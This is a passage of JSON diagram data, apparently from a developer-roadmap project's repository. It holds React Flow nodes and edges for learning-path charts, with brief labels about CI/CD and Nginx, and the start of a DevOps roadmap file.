\"positionAbsolute\": {\n        \"x\": -689.2417384100206,\n        \"y\": 1274.9566740795606\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 375\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"RLiltnmTQ7c_R3-XAubIW\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -686.0936357346159,\n        \"y\": 1404.6233407462273\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Integrate CI/CD into your app.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"zij49MUabvJwH9nbTMXm0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 366,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -686.0936357346159,\n        \"y\": 1404.6233407462273\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 366\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"ukOrSeyK1ElOt9tTjCkfO\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Nginx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1455.7040143913434\n      },\n      \"width\": 162,\n      \"height\": 49,\n      \"selected\": true,\n      \"positionAbsolute\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1455.7040143913434\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"zICMPtp5CYjbou94kClo7\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1363.6233407462273\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Nginx is commonly used for web servings, reverse proxying, caching, load balancing, media streaming and more.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"aztOMDhH6Rf9SXT0RPQnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 356,\n      \"height\": 82,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1363.6233407462273\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 356\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"jBPwCEE3ctmtnGnXs1v-c\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1455.6233407462273\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn the basic config options, TLS setup, rate limiting, caching etc.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"RLiltnmTQ7c_R3-XAubIW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 56,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1455.6233407462273\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 352\n      },\n      \"resizing\": false\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wBKp8Q5D6WhjVVsD89UHl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wBKp8Q5D6WhjVVsD89UHlx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jJebnKe4JftMXZ1lCsipq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DYc7vk4U96g_2_8Ln0MHS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jJebnKe4JftMXZ1lCsipqx2-v5FGKQc-_7NYEsWjmTEuqw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYc7vk4U96g_2_8Ln0MHS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TwVfCYMS9jSaJ6UyYmC-K\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-v5FGKQc-_7NYEsWjmTEuqz2-TwVfCYMS9jSaJ6UyYmC-Ky1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYc7vk4U96g_2_8Ln0MHS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"npnMwSDEK2aLGgnuZZ4dO\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-v5FGKQc-_7NYEsWjmTEuqz2-npnMwSDEK2aLGgnuZZ4dOy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYc7vk4U96g_2_8Ln0MHS\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qe84v529VbCyydl0BKFk2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DYc7vk4U96g_2_8Ln0MHSx2-qe84v529VbCyydl0BKFk2w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qe84v529VbCyydl0BKFk2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qe84v529VbCyydl0BKFk2y2-2zqZkyVgigifcRS1H7F_bz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qe84v529VbCyydl0BKFk2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"w5d24Sf8GDkLDLGUPxzS9\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qe84v529VbCyydl0BKFk2x2-w5d24Sf8GDkLDLGUPxzS9w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w5d24Sf8GDkLDLGUPxzS9\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"P0acFNZ413MSKElHqCxr3\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-w5d24Sf8GDkLDLGUPxzS9x2-P0acFNZ413MSKElHqCxr3w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yWG2VUkaF5IJVVut6AiSy\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cQsAB-pUT8GYGTc9YY6JU\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yWG2VUkaF5IJVVut6AiSyx2-uyDm1SpOQdpHjq9zBAdcky2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uyDm1SpOQdpHjq9zBAdck\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"P0acFNZ413MSKElHqCxr3\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-uyDm1SpOQdpHjq9zBAdckw2-P0acFNZ413MSKElHqCxr3x2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cQsAB-pUT8GYGTc9YY6JU\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"P0acFNZ413MSKElHqCxr3\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-cQsAB-pUT8GYGTc9YY6JUw2-P0acFNZ413MSKElHqCxr3x1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cQsAB-pUT8GYGTc9YY6JU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"f1BteVNJKjB1tFIfqF-08\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-cQsAB-pUT8GYGTc9YY6JUx2-f1BteVNJKjB1tFIfqF-08w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uyDm1SpOQdpHjq9zBAdck\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"f1BteVNJKjB1tFIfqF-08\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-uyDm1SpOQdpHjq9zBAdckx2-f1BteVNJKjB1tFIfqF-08w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"f1BteVNJKjB1tFIfqF-08\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"nUBGf1rp9GK_pbagWCP9g\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-f1BteVNJKjB1tFIfqF-08x2-nUBGf1rp9GK_pbagWCP9gw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nUBGf1rp9GK_pbagWCP9g\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"h9vVPOmdUSeEGVQQaSTH5\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-nUBGf1rp9GK_pbagWCP9gx2-h9vVPOmdUSeEGVQQaSTH5w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h9vVPOmdUSeEGVQQaSTH5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JnWVCS1HbAyfCJzGt-WOH\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-h9vVPOmdUSeEGVQQaSTH5x2-JnWVCS1HbAyfCJzGt-WOHw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JnWVCS1HbAyfCJzGt-WOH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ukOrSeyK1ElOt9tTjCkfO\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-JnWVCS1HbAyfCJzGt-WOHx2-ukOrSeyK1ElOt9tTjCkfOw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ukOrSeyK1ElOt9tTjCkfO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wBKp8Q5D6WhjVVsD89UHl\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ukOrSeyK1ElOt9tTjCkfOx2-wBKp8Q5D6WhjVVsD89UHlw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jJebnKe4JftMXZ1lCsipq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jJebnKe4JftMXZ1lCsipqx2-v5FGKQc-_7NYEsWjmTEuqw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qe84v529VbCyydl0BKFk2\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-v5FGKQc-_7NYEsWjmTEuqx2-qe84v529VbCyydl0BKFk2w2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TwVfCYMS9jSaJ6UyYmC-K\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-v5FGKQc-_7NYEsWjmTEuqz2-TwVfCYMS9jSaJ6UyYmC-Ky1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"npnMwSDEK2aLGgnuZZ4dO\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-v5FGKQc-_7NYEsWjmTEuqz2-npnMwSDEK2aLGgnuZZ4dOy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"P0acFNZ413MSKElHqCxr3\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ot9I_IHdnq2yAMffrSrbN\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-P0acFNZ413MSKElHqCxr3x2-ot9I_IHdnq2yAMffrSrbNw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uyDm1SpOQdpHjq9zBAdck\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1ieK6B_oqW8qOC6bdmiJe\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-uyDm1SpOQdpHjq9zBAdckx2-1ieK6B_oqW8qOC6bdmiJew1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ot9I_IHdnq2yAMffrSrbN\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1ieK6B_oqW8qOC6bdmiJe\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ot9I_IHdnq2yAMffrSrbNx2-1ieK6B_oqW8qOC6bdmiJew1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1ieK6B_oqW8qOC6bdmiJe\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"nUBGf1rp9GK_pbagWCP9g\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-1ieK6B_oqW8qOC6bdmiJex2-nUBGf1rp9GK_pbagWCP9gw2\",\n      \"selected\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/devops/devops.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"iU2f2TbjbjrCSDoIQN75c\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1274.6452398367048,\n        \"y\": 2446.733953859971\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"fL1LKBwDDxnzuUaxMxfMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 56,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1274.6452398367048,\n        \"y\": 2446.733953859971\n      },\n      \"style\": {\n        \"width\": 21,\n        \"height\": 56\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 56\n      }\n    },\n    {\n      \"id\": \"fL1LKBwDDxnzuUaxMxfMz\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1273.4080590588455,\n        \"y\": 2051.6937435857144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 388,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1273.4080590588455,\n        \"y\": 2051.6937435857144\n      },\n      \"style\": {\n        \"width\": 21,\n        \"height\": 388\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 388\n      }\n    },\n    {\n      \"id\": \"bnHYl23RxloIt7dR5V7PF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1859.1022029048668,\n        \"y\": 1789.2739894115864\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 377,\n      \"positionAbsolute\": {\n        \"x\": 1859.1022029048668,\n        \"y\": 1789.2739894115864\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 377\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 377\n      }\n    },\n    {\n      \"id\": \"JizyX8jse920gpWcmoSED\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1992.153929822237,\n        \"y\": 1314.467983134743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 229,\n      \"height\": 354,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 354\n      },\n      \"positionAbsolute\": {\n        \"x\": 1992.153929822237,\n        \"y\": 1314.467983134743\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 354\n      }\n    },\n    {\n      \"id\": \"SPXgDee7rpQAX3FfTdA3J\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1584.5509969897735,\n        \"y\": 1298.3406565459877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 252,\n      \"height\": 375,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 375\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1584.5509969897735,\n        \"y\": 1298.3406565459877\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 375\n      }\n    },\n    {\n      \"id\": \"45zz5L6lKJrF9JWgyj1Pz\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1189.5750786843228,\n        \"y\": 1275.9816693737002\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 279,\n      \"height\": 336,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 336\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1189.5750786843228,\n        \"y\": 1275.9816693737002\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 336\n      }\n    },\n    {\n      \"id\": \"7crPw2SKw-TlsSe9kpZFQ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1189.5750786843228,\n        \"y\": 1041.0187194026719\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 279,\n      \"height\": 243,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 243\n      },\n      \"positionAbsolute\": {\n        \"x\": 1189.5750786843228,\n        \"y\": 1041.0187194026719\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 243\n      }\n    },\n    {\n      \"id\": \"78fdvOJN2xs2co5L8Ldvf\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 2094.770175365231,\n        \"y\": 870.537249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"2-SE-hXZHqrxxogHYfC9O\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 52,\n      \"positionAbsolute\": {\n        \"x\": 2094.770175365231,\n        \"y\": 870.537249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 52\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 52\n      }\n    },\n    {\n      \"id\": \"PsbYeHGMd9E1UNqcaFQOz\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1977.602202904867,\n        \"y\": 1009.6753673258584\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 267,\n      \"height\": 219,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 219\n      },\n      \"positionAbsolute\": {\n        \"x\": 1977.602202904867,\n        \"y\": 1009.6753673258584\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 219\n      }\n    },\n    {\n      \"id\": \"2-SE-hXZHqrxxogHYfC9O\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1489.8528975202719,\n        \"y\": 742.537249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 180,\n      \"positionAbsolute\": {\n        \"x\": 1489.8528975202719,\n        \"y\": 742.537249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 180\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 180\n      }\n    },\n    {\n      \"id\": \"Z9kbJS29EAsTKguLJlOiu\",\n      \"type\": \"vertical\",\n      \"position\": {\n        